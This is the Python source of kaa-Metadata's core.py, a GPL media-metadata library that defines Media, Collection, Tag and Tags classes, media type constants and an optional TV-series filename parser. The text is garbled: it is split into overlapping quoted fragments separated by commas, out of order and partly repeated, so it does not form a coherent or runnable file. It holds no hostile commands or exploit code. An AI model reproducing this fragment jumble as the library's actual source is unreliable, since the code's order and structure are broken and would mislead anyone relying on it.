isinstance(value[0], Media): for submenu in value: submenu._finalize() # copy needed", "= langcode self.binary = binary def __unicode__(self): return str(self.value) def __str__(self): return str(self.value)", "= self._keys[:] self.tables = {} # Tags, unlike tables, are more well-defined dicts", "in self._keys: value = getattr(self, k, None) if isinstance(value, list) and value and", "lists = [] for key in self._keys: value = getattr(self, key, None) if", "set by the parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection of Digial", "(str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions # def", "data, size=%d>' % len(value) except (UnicodeDecodeError, TypeError) as e: try: value = '<unprintable", "<NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please see the file AUTHORS", "value): \"\"\" Set the value of 'key' to 'value' \"\"\" setattr(self, key, value)", "utils.tostr(value) setattr(self, key, value) if not key in self._keys: self._keys.append(key) def _set_url(self, url):", "\"\"\" Return all keys for the attributes set by the parser. \"\"\" return", "value) return result def __repr__(self): if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2],", "__str__(self): result = '' # print normal attributes lists = [] for key", "for subtag in tag) else: result += '%s\\n' % (tag.value or '') if", "setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list)", "value. These values are set to reasonable default values but can be overwritten", "setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str):", "complete list of authors. # # This program is free software; you can", "'subtitles', 'chapters'): label += ' Track' result += '%s #%d\\n' % (label, n+1)", "['title', 'caption', 'comment', 'size', 'type', 'subtype', 'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media',", "for key, value in list(hash.items()): if isinstance(value, list) and value and isinstance(value[0], dict):", "metadata. Media and its derivates contain a common set of metadata attributes that", "type definitions MEDIA_AUDIO = 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV =", "# ----------------------------------------------------------------------------- # python imports import re import logging from . import fourcc", "setattr(self, attr, value) if 'fourcc' in self._keys and 'codec' in self._keys and self.codec", "Playlist \"\"\" _keys = Media._keys + [ 'id', 'tracks' ] def __init__(self): Media.__init__(self)", "If such a table already exists, the given tables items are added to", "the base class to all Media Metadata Containers. It defines the basic structures", "which case we resolve it to its actual # name and set the", "Tag objects, other dicts (for nested tags), or lists of either # (for", "An individual tag, which will be a value stored in a Tags object.", "getattr(self, attr, None) def __setitem__(self, key, value): \"\"\" Set the value of 'key'", "if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language) # # data access #", "= '<unprintable data>' result += '| | %s: %s\\n' % (str(key), value) return", "result += '| ' + re.sub(r'\\n(.)', r'\\n| \\1', str(item)) # print tables if", "# Guess if a file is a recording of a TV series. It", "for Matroska):: <Simple> <Name>LAW_RATING</Name> <String>PG</String> <Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING", "value in list(hash.items()): if isinstance(value, list) and value and isinstance(value[0], dict): value =", "strings (for binary data), unicode objects, or datetime objects for tags that represent", "is not None: if not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str):", "attribute 'key' \"\"\" return hasattr(self, key) def convert(self): \"\"\" Convert Media to dict.", "Tags() for key in self._keys: if key not in ('media', 'tags'): setattr(self, key,", "dict): # Tables or tags treated separately. continue if key in UNPRINTABLE_KEYS: value", "be other Tags objects (for nested tags), lists, or Tag objects. A Tags", "and 'codec' in self._keys and self.codec is not None: # Codec may be", "where the # delimiter may not be a space but also point or", "name not in self.tables: self.tables[name] = hashmap else: # Append to the already", "[] class Tag(object): \"\"\" An individual tag, which will be a value stored", "free software; you can redistribute it and/or modify # it under the terms", "and isinstance(value[0], Media): for submenu in value: submenu._finalize() # copy needed tags from", "'') if isinstance(tag, dict): result += print_tags(tag, ' ', False) return result result", "tags treated separately. continue if key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>'", "%s\\n' % (str(key), value) return result def __repr__(self): if hasattr(self, 'url'): return '<%s", "to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value self.langcode", "hashmap[k] def _set(self, key, value): \"\"\" Set key to value and add the", "$Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python # Copyright", "e.g. actor). Where possible, # parsers should transform tag names to conform to", "the dublin core set that is defined in Media. \"\"\" _keys = MEDIACORE", "hashmap else: # Append to the already existing table for k in list(hashmap.keys()):", "Tags object. Tag values are strings (for binary data), unicode objects, or datetime", "a Tags object. Tag values are strings (for binary data), unicode objects, or", "] } def enable_feature(var, value=None): \"\"\" Enable optional features defined in the _feature", "more well-defined dicts whose values are # either Tag objects, other dicts (for", "continue elif isinstance(value, dict): # Tables or tags treated separately. continue if key", "the basic structures that handle metadata. Media and its derivates contain a common", "value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in self._keys and 'codec' in self._keys", "variable. Some feature have a value. These values are set to reasonable default", "key in self._keys: if key not in ('media', 'tags'): setattr(self, key, None) #", "{}) for tag, attr in list(mapping.items()): if self.get(attr): continue value = table.get(tag, None)", "k, None) if isinstance(value, list) and value and isinstance(value[0], Media): value = [", "the attributes set by the parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection", "which will be a value stored in a Tags object. Tag values are", "_features[feature][1] class Media(object): media = None \"\"\" Media is the base class to", "# # This program is distributed in the hope that it will be", "# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # -----------------------------------------------------------------------------", "value = '<unprintable data, size=%d>' % len(value) result += '| %10s: %s\\n' %", "for key in self._keys: value = getattr(self, key, None) if value == None", "None: # create Media based on dict for key, value in list(hash.items()): if", "result += '%s\\n' % ', '.join(subtag.value for subtag in tag) else: result +=", "def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value = value self.langcode = langcode", "Media to dict. \"\"\" result = {} for k in self._keys: value =", "received a copy of the GNU General Public License along # with this", "False) return result result += print_tags(self.tags, '', True) # print lists for key,", "size=%d>' % len(value) except AttributeError: value = '<unprintable data>' result += '| |", "'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC'", "or key == 'url': continue if isinstance(value, list): if not value: continue elif", "treated separately. continue if key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' %", "item in enumerate(l): label = '+-- ' + key.rstrip('s').capitalize() if key not in", "# get logging object log = logging.getLogger('metadata') class ParseError(Exception): pass _features = {", "\"\"\" Correct same data based on specific rules \"\"\" # make sure all", "to dict. \"\"\" result = {} for k in self._keys: value = getattr(self,", "key not in ('media', 'tags'): setattr(self, key, None) # # unicode and string", "for Python # Copyright (C) 2003-2006 <NAME>, <NAME> # # First Edition: <NAME>", "episode' where the # delimiter may not be a space but also point", "one. \"\"\" if name not in self.tables: self.tables[name] = hashmap else: # Append", "strings are unicode for key in self._keys: if key in UNPRINTABLE_KEYS: continue value", "of 'series 1x01 episode' and 'series s1e01 episode' where the # delimiter may", "= binary def __unicode__(self): return str(self.value) def __str__(self): return str(self.value) def __repr__(self): if", "in a Tags object. Tag values are strings (for binary data), unicode objects,", "self.tables: self.tables[name] = hashmap else: # Append to the already existing table for", "class Tag(object): \"\"\" An individual tag, which will be a value stored in", "can be other Tags objects (for nested tags), lists, or Tag objects. A", "tags), lists, or Tag objects. A Tags object is more or less a", "from . import fourcc from . import language from . import utils UNPRINTABLE_KEYS", "self._keys[:] self.tables = {} # Tags, unlike tables, are more well-defined dicts whose", "% (str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self, name, hashmap): \"\"\" Appends", "program; if not, write to the Free Software Foundation, Inc., # 59 Temple", "import logging from . import fourcc from . import language from . import", "return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of the given feature \"\"\"", "is not None: # create Media based on dict for key, value in", "# def _appendtable(self, name, hashmap): \"\"\" Appends a tables of additional metadata to", "</Simple> The attribute RATING has a value (PG), but it also has a", "listed in keys. Specific derivates contain additional keys to the dublin core set", "Set the URL of the source \"\"\" self.url = url def _finalize(self): \"\"\"", "= True if value: _features[var][1] = value def features(): \"\"\" List all optional", "key, value) if not key in self._keys: self._keys.append(key) def _set_url(self, url): \"\"\" Set", "'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE'", "+= ' Track' result += '%s #%d\\n' % (label, n+1) result += '|", "default) def __getitem__(self, attr): \"\"\" Get the value of the given attribute \"\"\"", "terms of the GNU General Public License as published by # the Free", "enable_feature(var, value=None): \"\"\" Enable optional features defined in the _feature variable. Some feature", "See the GNU General # Public License for more details. # # You", "is not None: # Codec may be a fourcc, in which case we", "Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html # All tag names will be lower-cased. self.tags", "%s>' % repr(self.value) else: return '<Binary Tag object: size=%d>' % len(self.value) @property def", "for x in value ] result[k] = value return result def keys(self): \"\"\"", "self._keys and 'codec' in self._keys and self.codec is not None: # Codec may", "have received a copy of the GNU General Public License along # with", "tags). def print_tags(tags, suffix, show_label): result = '' for n, (name, tag) in", "def __repr__(self): if not self.binary: return '<Tag object: %s>' % repr(self.value) else: return", "fourcc.resolve(self.codec) if 'language' in self._keys: self.langcode, self.language = language.resolve(self.language) # # data access", "optional features \"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature was", "l in lists: for n, item in enumerate(l): label = '+-- ' +", "% len(value) except AttributeError: value = '<unprintable data>' result += '| | %s:", "', '.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict): # Tables or tags", "media = None \"\"\" Media is the base class to all Media Metadata", "the attribute is not set by the parser return 'default'. \"\"\" return getattr(self,", "value = table.get(tag, None) if value is not None: if not isinstance(value, str):", "self.codec is not None: # Codec may be a fourcc, in which case", "in self.tables: self.tables[name] = hashmap else: # Append to the already existing table", "its actual # name and set the fourcc attribute. self.fourcc, self.codec = fourcc.resolve(self.codec)", "of metadata attributes that is listed in keys. Specific derivates contain additional keys", "print_tags(tag, ' ', False) return result result += print_tags(self.tags, '', True) # print", "It defines the basic structures that handle metadata. Media and its derivates contain", "% str(name) for key, value in list(table.items()): try: value = str(value) if len(value)", "= {} for k in self._keys: value = getattr(self, k, None) if isinstance(value,", "Tag object: size=%d>' % len(self.value) @property def langcode(self): return self._langcode @langcode.setter def langcode(self,", "class Collection(Media): \"\"\" Collection of Digial Media like CD, DVD, Directory, Playlist \"\"\"", "overwritten by setting the optional parameter value. \"\"\" _features[var][0] = True if value:", "Media like CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys + [ 'id',", "names to conform to the Official # Matroska tags defined at http://www.matroska.org/technical/specs/tagging/index.html #", "Media Metadata for Python # Copyright (C) 2003-2006 <NAME>, <NAME> # # First", "GNU General # Public License for more details. # # You should have", "+= '%s\\n' % (tag.value or '') if isinstance(tag, dict): result += print_tags(tag, '", "make sure all strings are unicode for key in self._keys: if key in", "# TODO: doesn't support lists/dicts within lists. result += '%s\\n' % ', '.join(subtag.value", "table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if", "Returns the configuration of the given feature \"\"\" return _features[feature][1] class Media(object): media", "\"\"\" _keys = Media._keys + [ 'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks", "= 'MEDIA_AUDIO' MEDIA_VIDEO = 'MEDIA_VIDEO' MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE =", "'%s\\n' % (tag.value or '') if isinstance(tag, dict): result += print_tags(tag, ' ',", "keys for the attributes set by the parser. \"\"\" return self._keys class Collection(Media):", "\"\"\" Appends a tables of additional metadata to the Object. If such a", "dict): result += print_tags(tag, ' ', False) return result result += print_tags(self.tags, '',", "to 'value' \"\"\" setattr(self, key, value) def has_key(self, key): \"\"\" Check if the", "setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and isinstance(value[0], Media): for", "data), unicode objects, or datetime objects for tags that represent dates or times.", "if isinstance(value, list): if not value: continue elif isinstance(value[0], str): # Just a", "None): \"\"\" Returns the given attribute. If the attribute is not set by", "(for nested tags), lists, or Tag objects. A Tags object is more or", "self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if self.get(attr): continue value = table.get(tag,", "self._keys: value = getattr(self, key, None) if value == None or key ==", "to support nested tags). def print_tags(tags, suffix, show_label): result = '' for n,", "don't treat it specially. value = ', '.join(value) else: lists.append((key, value)) continue elif", "list): if not value: continue elif isinstance(value[0], str): # Just a list of", "isinstance(value, list) and value and isinstance(value[0], dict): value = [ Media(x) for x", "# # You should have received a copy of the GNU General Public", "suffix, name) if isinstance(tag, list): # TODO: doesn't support lists/dicts within lists. result", "key, value in list(hash.items()): if isinstance(value, list) and value and isinstance(value[0], dict): value", "but # WITHOUT ANY WARRANTY; without even the implied warranty of MER- #", "such a table already exists, the given tables items are added to the", "# # internal functions # def _appendtable(self, name, hashmap): \"\"\" Appends a tables", "-*- # ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- #", "in the _feature variable. Some feature have a value. These values are set", "Public License for more details. # # You should have received a copy", ">= 10: for name, table in list(self.tables.items()): result += '+-- Table %s\\n' %", "key == 'url': continue if isinstance(value, list): if not value: continue elif isinstance(value[0],", "if value is not None: if not isinstance(value, str): value = utils.tostr(str(value)) elif", "'MEDIA_DIRECTORY' MEDIA_DISC = 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size',", "\"\"\" An individual tag, which will be a value stored in a Tags", "in which case we resolve it to its actual # name and set", "set to reasonable default values but can be overwritten by setting the optional", "# with this program; if not, write to the Free Software Foundation, Inc.,", "] self._set(key, value) return self._keys = self._keys[:] self.tables = {} # Tags, unlike", "= self.table_mapping.get(name, {}) for tag, attr in list(mapping.items()): if self.get(attr): continue value =", "\"\"\" result = {} for k in self._keys: value = getattr(self, k, None)", "] result[k] = value return result def keys(self): \"\"\" Return all keys for", "\"\"\" self.url = url def _finalize(self): \"\"\" Correct same data based on specific", "%s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions", "ParseError(Exception): pass _features = { # Guess if a file is a recording", "in list(self.tables.items()): result += '+-- Table %s\\n' % str(name) for key, value in", "in self._keys: if key in UNPRINTABLE_KEYS: continue value = getattr(self, key) if value", "if a file is a recording of a TV series. It matches names", "'tracks' ] def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An individual", "for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name, {}) for tag, attr in", "dict \"\"\" return hasattr(self, key) def get(self, attr, default = None): \"\"\" Returns", "logging object log = logging.getLogger('metadata') class ParseError(Exception): pass _features = { # Guess", "label += ' Track' result += '%s #%d\\n' % (label, n+1) result +=", "that is defined in Media. \"\"\" _keys = MEDIACORE table_mapping = {} def", "= 'MEDIA_DISC' MEDIA_GAME = 'MEDIA_GAME' MEDIACORE = ['title', 'caption', 'comment', 'size', 'type', 'subtype',", "log = logging.getLogger('metadata') class ParseError(Exception): pass _features = { # Guess if a", "all Media Metadata Containers. It defines the basic structures that handle metadata. Media", "except AttributeError: value = '<unprintable data>' result += '| | %s: %s\\n' %", "utils UNPRINTABLE_KEYS = [ 'thumbnail', 'url', 'codec_private' ] # media type definitions MEDIA_AUDIO", "or '') if isinstance(tag, dict): result += print_tags(tag, ' ', False) return result", "[ x.convert() for x in value ] result[k] = value return result def", "list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature was activated \"\"\" return _features[feature][0]", "value = str(value) if len(value) > 50: value = '<unprintable data, size=%d>' %", "AttributeError: value = '<unprintable data>' result += '| | %s: %s\\n' % (str(key),", "object: size=%d>' % len(self.value) @property def langcode(self): return self._langcode @langcode.setter def langcode(self, code):", "convert(self): \"\"\" Convert Media to dict. \"\"\" result = {} for k in", "= table.get(tag, None) if value is not None: if not isinstance(value, str): value", "'.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict): # Tables or tags treated", "the parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection of Digial Media like", "if the object has an attribute 'key' \"\"\" return hasattr(self, key) def convert(self):", "%s\\n' % str(name) for key, value in list(table.items()): try: value = str(value) if", "belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value = value", "'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable", "not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str): value = utils.tostr(value) value", "'stream' # get logging object log = logging.getLogger('metadata') class ParseError(Exception): pass _features =", "+= '| %10s: %s\\n' % (str(key), str(value)) # print tags (recursively, to support", "key, value): \"\"\" Set the value of 'key' to 'value' \"\"\" setattr(self, key,", "key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value) result += '|", "'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key,", "basic structures that handle metadata. Media and its derivates contain a common set", "MEDIA_IMAGE = 'MEDIA_IMAGE' MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY", "# ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata for Python # Copyright (C) 2003-2006", "'| | %s: %s\\n' % (str(key), value) return result def __repr__(self): if hasattr(self,", "utils.tobytes(value)) continue if isinstance(value, str): setattr(self, key, utils.tostr(value)) if isinstance(value, str): setattr(self, key,", "# -*- coding: iso-8859-1 -*- # ----------------------------------------------------------------------------- # core.py # ----------------------------------------------------------------------------- # $Id$", "Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # #", "a copy of the GNU General Public License along # with this program;", "return '<%s>' % (str(self.__class__)[8:-2]) # # internal functions # def _appendtable(self, name, hashmap):", "Please see the file AUTHORS for a complete list of authors. # #", "separately. continue if key in UNPRINTABLE_KEYS: value = '<unprintable data, size=%d>' % len(value)", "+= print_tags(tag, ' ', False) return result result += print_tags(self.tags, '', True) #", "MEDIA_AV = 'MEDIA_AV' MEDIA_SUBTITLE = 'MEDIA_SUBTITLE' MEDIA_CHAPTER = 'MEDIA_CHAPTER' MEDIA_DIRECTORY = 'MEDIA_DIRECTORY' MEDIA_DISC", "def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An individual tag, which", "Maintainer: <NAME> <<EMAIL>> # # Please see the file AUTHORS for a complete", "either Tag objects, other dicts (for nested tags), or lists of either #", "submenu in value: submenu._finalize() # copy needed tags from tables for name, table", "given feature \"\"\" return _features[feature][1] class Media(object): media = None \"\"\" Media is", "License along # with this program; if not, write to the Free Software", "value (PG), but it also has a child tag COUNTRY that specifies the", "are strings (for binary data), unicode objects, or datetime objects for tags that", "It matches names in the # style of 'series 1x01 episode' and 'series", "warranty of MER- # CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the", "is the base class to all Media Metadata Containers. It defines the basic", "(for multiple instances of the tag, e.g. actor). Where possible, # parsers should", "Returns the given attribute. If the attribute is not set by the parser", "Foundation, Inc., # 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA #", "self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\" Set key to value and", "# print tables if log.level >= 10: for name, table in list(self.tables.items()): result", "_-]+(.+)' ] } def enable_feature(var, value=None): \"\"\" Enable optional features defined in the", "values are # either Tag objects, other dicts (for nested tags), or lists", "== 'url': continue if isinstance(value, list): if not value: continue elif isinstance(value[0], str):", "== 0 and show_label else '', suffix, name) if isinstance(tag, list): # TODO:", "COUNTRY that specifies the country code the rating belongs to. \"\"\" def __init__(self,", "\"\"\" return self._keys class Collection(Media): \"\"\" Collection of Digial Media like CD, DVD,", "necessary in order to represent this kind of tag specification (e.g. for Matroska)::", "dates or times. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tag, self).__init__() self.value =", "subtag in tag) else: result += '%s\\n' % (tag.value or '') if isinstance(tag,", "'key' to 'value' \"\"\" setattr(self, key, value) def has_key(self, key): \"\"\" Check if", "are more well-defined dicts whose values are # either Tag objects, other dicts", "UNPRINTABLE_KEYS: continue value = getattr(self, key) if value is None: continue if key", "# Tables or tags treated separately. continue if key in UNPRINTABLE_KEYS: value =", "= getattr(self, key) if value is None: continue if key == 'image': if", "a recording of a TV series. It matches names in the # style", "by setting the optional parameter value. \"\"\" _features[var][0] = True if value: _features[var][1]", "parser. \"\"\" return self._keys class Collection(Media): \"\"\" Collection of Digial Media like CD,", "isinstance(value[0], Media): value = [ x.convert() for x in value ] result[k] =", "if len(value) > 50: value = '<unprintable data, size=%d>' % len(value) except (UnicodeDecodeError,", "def enable_feature(var, value=None): \"\"\" Enable optional features defined in the _feature variable. Some", "the implied warranty of MER- # CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.", "str): setattr(self, key, value.strip().rstrip().replace('\\0', '')) if isinstance(value, list) and value and isinstance(value[0], Media):", "\"\"\" return list(_features.keys()) def feature_enabled(feature): \"\"\" Returns if a feature was activated \"\"\"", "added to the existing one. \"\"\" if name not in self.tables: self.tables[name] =", "is None and getattr(self, key, None) is None: return if isinstance(value, str): value", "# Public License for more details. # # You should have received a", "the rating belongs to. \"\"\" def __init__(self, value=None, langcode='und', binary=False): super(Tags, self).__init__() self.value", "core.py # ----------------------------------------------------------------------------- # $Id$ # # ----------------------------------------------------------------------------- # kaa-Metadata - Media Metadata", "return result def keys(self): \"\"\" Return all keys for the attributes set by", "has a child tag COUNTRY that specifies the country code the rating belongs", "objects, other dicts (for nested tags), or lists of either # (for multiple", "', '.join(subtag.value for subtag in tag) else: result += '%s\\n' % (tag.value or", "value = utils.tostr(value) setattr(self, key, value) if not key in self._keys: self._keys.append(key) def", "n, (name, tag) in enumerate(tags.items()): result += '| %12s%s%s = ' % ('tags:", "# style of 'series 1x01 episode' and 'series s1e01 episode' where the #", "or tags treated separately. continue if key in UNPRINTABLE_KEYS: value = '<unprintable data,", "EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get logging object", "class ParseError(Exception): pass _features = { # Guess if a file is a", "{} def __init__(self, hash=None): if hash is not None: # create Media based", "self.langcode, self.language = language.resolve(self.language) # # data access # def __contains__(self, key): \"\"\"", "@property def langcode(self): return self._langcode @langcode.setter def langcode(self, code): self._langcode, self.language = language.resolve(code)", "the Free Software Foundation; either version 2 of the License, or # (at", "option) any later version. # # This program is distributed in the hope", "\"\"\" return _features[feature][0] def feature_config(feature): \"\"\" Returns the configuration of the given feature", "n == 0 and show_label else '', suffix, name) if isinstance(tag, list): #", "'| %12s%s%s = ' % ('tags: ' if n == 0 and show_label", "\"\"\" Enable optional features defined in the _feature variable. Some feature have a", "= '<unprintable data, size=%d>' % len(value) except AttributeError: value = '<unprintable data>' result", "additional metadata to the Object. If such a table already exists, the given", "' if n == 0 and show_label else '', suffix, name) if isinstance(tag,", "if key exists in the dict \"\"\" return hasattr(self, key) def get(self, attr,", "# First Edition: <NAME> <<EMAIL>> # Maintainer: <NAME> <<EMAIL>> # # Please see", "Object. If such a table already exists, the given tables items are added", "default = None): \"\"\" Returns the given attribute. If the attribute is not", "for debugging # def __str__(self): result = '' # print normal attributes lists", "else: result += '%s\\n' % (tag.value or '') if isinstance(tag, dict): result +=", "in list(hashmap.keys()): self.tables[name][k] = hashmap[k] def _set(self, key, value): \"\"\" Set key to", "keys to the dublin core set that is defined in Media. \"\"\" _keys", "tag) in enumerate(tags.items()): result += '| %12s%s%s = ' % ('tags: ' if", "given tables items are added to the existing one. \"\"\" if name not", "print normal attributes lists = [] for key in self._keys: value = getattr(self,", "of the given feature \"\"\" return _features[feature][1] class Media(object): media = None \"\"\"", "should transform tag names to conform to the Official # Matroska tags defined", "= '+-- ' + key.rstrip('s').capitalize() if key not in ('tracks', 'subtitles', 'chapters'): label", "key, None) # # unicode and string convertion for debugging # def __str__(self):", "list of strings (keywords?), so don't treat it specially. value = ', '.join(value)", "value)) continue elif isinstance(value, dict): # Tables or tags treated separately. continue if", "lists of either # (for multiple instances of the tag, e.g. actor). Where", "exists, the given tables items are added to the existing one. \"\"\" if", "= getattr(self, key, None) if value == None or key == 'url': continue", "value and isinstance(value[0], Media): for submenu in value: submenu._finalize() # copy needed tags", "distributed in the hope that it will be useful, but # WITHOUT ANY", "episode' and 'series s1e01 episode' where the # delimiter may not be a", "# All tag names will be lower-cased. self.tags = Tags() for key in", "self._set(key, value) return self._keys = self._keys[:] self.tables = {} # Tags, unlike tables,", "Some feature have a value. These values are set to reasonable default values", "has_key(self, key): \"\"\" Check if the object has an attribute 'key' \"\"\" return", "not None: if not isinstance(value, str): value = utils.tostr(str(value)) elif isinstance(value, str): value", "not value: continue elif isinstance(value[0], str): # Just a list of strings (keywords?),", "based on dict for key, value in list(hash.items()): if isinstance(value, list) and value", "copy needed tags from tables for name, table in list(self.tables.items()): mapping = self.table_mapping.get(name,", "\"\"\" setattr(self, key, value) def has_key(self, key): \"\"\" Check if the object has", "Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An individual tag, which will be", "'id', 'tracks' ] def __init__(self): Media.__init__(self) self.tracks = [] class Tag(object): \"\"\" An", "order to represent this kind of tag specification (e.g. for Matroska):: <Simple> <Name>LAW_RATING</Name>", "None) def __setitem__(self, key, value): \"\"\" Set the value of 'key' to 'value'", "logging from . import fourcc from . import language from . import utils", "value=None): \"\"\" Enable optional features defined in the _feature variable. Some feature have", "if log.level >= 10: for name, table in list(self.tables.items()): result += '+-- Table", "GNU General Public License along # with this program; if not, write to", "software; you can redistribute it and/or modify # it under the terms of", "utils.tostr(value) value = value.strip().rstrip().replace('\\0', '') setattr(self, attr, value) if 'fourcc' in self._keys and", "result += print_tags(tag, ' ', False) return result result += print_tags(self.tags, '', True)", "%s\\n' % (str(key), str(value)) # print tags (recursively, to support nested tags). def", "hope that it will be useful, but # WITHOUT ANY WARRANTY; without even", "is listed in keys. Specific derivates contain additional keys to the dublin core", "getattr(self, k, None) if isinstance(value, list) and value and isinstance(value[0], Media): value =", "None \"\"\" Media is the base class to all Media Metadata Containers. It", "a space but also point or minus. 'VIDEO_SERIES_PARSER': [ False, '(.+?)[\\. _-]+[sS]?([0-9]|[0-9][0-9])[xeE]([0-9]|[0-9][0-9])[\\. _-]+(.+)'", "'hash'] EXTENSION_DEVICE = 'device' EXTENSION_DIRECTORY = 'directory' EXTENSION_STREAM = 'stream' # get logging", "'timestamp', 'keywords', 'country', 'language', 'langcode', 'url', 'media', 'artist', 'mime', 'datetime', 'tags', 'hash'] EXTENSION_DEVICE", "lists. result += '%s\\n' % ', '.join(subtag.value for subtag in tag) else: result", "value is None: continue if key == 'image': if isinstance(value, str): setattr(self, key,", "the URL of the source \"\"\" self.url = url def _finalize(self): \"\"\" Correct", "tag, attr in list(mapping.items()): if self.get(attr): continue value = table.get(tag, None) if value", "Digial Media like CD, DVD, Directory, Playlist \"\"\" _keys = Media._keys + [", "data based on specific rules \"\"\" # make sure all strings are unicode", "result = '' # print normal attributes lists = [] for key in", "+= '%s\\n' % ', '.join(subtag.value for subtag in tag) else: result += '%s\\n'", "The attribute RATING has a value (PG), but it also has a child", "return result result += print_tags(self.tags, '', True) # print lists for key, l", "# data access # def __contains__(self, key): \"\"\" Test if key exists in", "<Simple> <Name>COUNTRY</Name> <String>US</String> </Simple> </Simple> The attribute RATING has a value (PG), but", "fourcc, in which case we resolve it to its actual # name and", "Convert Media to dict. \"\"\" result = {} for k in self._keys: value", "None: # Codec may be a fourcc, in which case we resolve it", "= ', '.join(value) else: lists.append((key, value)) continue elif isinstance(value, dict): # Tables or", "else: return '<Binary Tag object: size=%d>' % len(self.value) @property def langcode(self): return self._langcode", "specifies the country code the rating belongs to. \"\"\" def __init__(self, value=None, langcode='und',", "def print_tags(tags, suffix, show_label): result = '' for n, (name, tag) in enumerate(tags.items()):", "more details. # # You should have received a copy of the GNU", "__repr__(self): if hasattr(self, 'url'): return '<%s %s>' % (str(self.__class__)[8:-2], self.url) else: return '<%s>'", "list) and value and isinstance(value[0], Media): for submenu in value: submenu._finalize() # copy", "under the terms of the GNU General Public License as published by #", "value of 'key' to 'value' \"\"\" setattr(self, key, value) def has_key(self, key): \"\"\"", "nested tags), or lists of either # (for multiple instances of the tag,", "whose values are # either Tag objects, other dicts (for nested tags), or", "Codec may be a fourcc, in which case we resolve it to its", "dict): value = [ Media(x) for x in value ] self._set(key, value) return", "if key not in ('media', 'tags'): setattr(self, key, None) # # unicode and", "self._keys: self.langcode, self.language = language.resolve(self.language) # # data access # def __contains__(self, key):", "MER- # CHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General", "if isinstance(value, str): value = utils.tostr(value) setattr(self, key, value) if not key in", "in ('tracks', 'subtitles', 'chapters'): label += ' Track' result += '%s #%d\\n' %", "in self._keys and 'codec' in self._keys and self.codec is not None: # Codec", "FOR A PARTICULAR PURPOSE. See the GNU General # Public License for more", "key == 'image': if isinstance(value, str): setattr(self, key, utils.tobytes(value)) continue if isinstance(value, str):", "and self.codec is not None: # 